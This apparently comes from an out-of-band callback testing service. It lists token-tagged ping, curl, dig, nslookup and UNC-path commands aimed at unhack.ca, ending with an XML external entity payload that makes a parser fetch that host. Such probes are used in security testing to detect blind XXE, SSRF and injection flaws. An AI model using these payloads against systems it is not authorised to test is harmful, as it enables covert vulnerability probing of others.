$ ping -c1 -p 0092d8ee6a3b984b5f1b75a9439fcb00 unhack.ca
 

$ curl http://unhack.ca/p/92d8ee6a3b984b5f1b75a9439fcb
 

$ dig 92d8ee6a3b984b5f1b75a9439fcb @unhack.ca
 

$ dig 92d8ee6a3b984b5f1b75a9439fcb.ns.unhack.ca
 

C:\> nslookup 92d8ee6a3b984b5f1b75a9439fcb unhack.ca
 

C:\> type \\unhack.ca\92d8ee6a3b984b5f1b75a9439fcb\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/92d8ee6a3b984b5f1b75a9439fcb">]>
    <foo>&xxe;</foo>